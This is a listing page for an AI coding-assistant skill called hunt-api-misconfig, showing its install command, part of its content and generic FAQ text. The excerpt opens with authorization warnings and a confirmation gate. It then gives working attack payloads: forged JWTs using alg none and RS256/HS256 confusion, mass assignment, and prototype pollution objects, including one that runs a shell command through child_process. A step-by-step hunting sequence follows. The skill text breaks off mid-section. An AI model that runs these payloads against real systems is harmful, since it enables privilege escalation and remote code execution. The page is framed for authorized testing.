MR
Mayur Rathi
@sickn33
⭐ 47.3k GitHub stars

hunt-api-misconfig

hunt-api-misconfig is an code AI skill with a core value of Hunt API security misconfiguration. It helps developers solve real-world problems in the code domain, boosting efficiency, automating repetitive tasks, and optimizing workflows.

Hunt API security misconfiguration

Last verified on: 2026-10-06

Quick Facts

Category code
Works With Claude
Source sickn33/antigravity-awesome-skills
Stars ⭐ 47.3k
Last Verified 2026-10-06
Risk Level Low
mkdir -p ./skills/hunt-api-misconfig && curl -sfL https://raw.githubusercontent.com/sickn33/antigravity-awesome-skills/main/skills/hunt-api-misconfig/SKILL.md -o ./skills/hunt-api-misconfig/SKILL.md

Run in terminal / PowerShell. Requires curl (Unix) or PowerShell 5+ (Windows).

Skill Content

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.


> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.


12. API SECURITY MISCONFIGURATION


Mass Assignment

javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor

JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,

or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype

state reaches a later operation.


Hunt sequence:


1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.

Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.

2. **Pollute harmless marker properties.** Send variants such as:


text
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337

3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render

endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,

server errors mentioning object properties, changed job output, template/render errors, or command/job

behavior changes.

4. **Escalate only through learned sinks.** Candidate properties depend on the sink:


text
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}

5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,

export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only

when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.


Server-Side Parameter Pollution in Backend URL / REST URL Construction


Use this when a frontend form or endpoint appears to call a server-side API on your behalf

(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not

ordinary client-side query pollution. The server takes your input and interpolates it into a backend

URL path or query string, such as:


text
/api/internal/users/<username>/field/email
/

🎯 Best For

  • Security auditors
  • DevSecOps teams
  • Compliance officers
  • Claude users
  • Software engineers

💡 Use Cases

  • Auditing dependencies for known CVEs
  • Scanning API endpoints for auth gaps
  • Code quality improvement
  • Best practice enforcement

📖 How to Use This Skill

  1. 1

    Install the Skill

    Copy the install command from the Terminal tab and run it. The SKILL.md file downloads to your local skills directory.

  2. 2

    Load into Your AI Assistant

    Open Claude and reference the skill. Paste the SKILL.md content or use the system prompt tab.

  3. 3

    Apply hunt-api-misconfig to Your Work

    Open your project in the AI assistant and ask it to apply the skill. Start with a small module to verify the output quality.

  4. 4

    Review and Refine

    Review AI suggestions before committing. Run tests, check for regressions, and iterate on the skill output.

❓ Frequently Asked Questions

Can this replace a dedicated SAST tool?

AI-based security review is complementary to SAST tools. Use it as a first-pass filter, not a replacement.

Is hunt-api-misconfig compatible with Cursor and VS Code?

Yes — this skill works with any AI coding assistant including Cursor, VS Code with Copilot, and JetBrains IDEs.

Do I need specific dependencies for hunt-api-misconfig?

Check the install command and Works With section. Most code skills only require the AI assistant and your codebase.

How do I install hunt-api-misconfig?

Copy the install command from the Terminal tab and run it. The skill downloads to ./skills/hunt-api-misconfig/SKILL.md, ready to use.

Can I customize this skill for my team?

Absolutely. Edit the SKILL.md file to add team-specific instructions, examples, or workflows.

⚠️ Common Mistakes to Avoid

Only scanning surface-level issues

Deep security review requires understanding your app architecture, not just regex patterns.

Skipping validation

Always test AI-generated code changes, even for simple refactors.

Missing dependency updates

Check if the skill requires updated dependencies or new packages.

🔗 Related Skills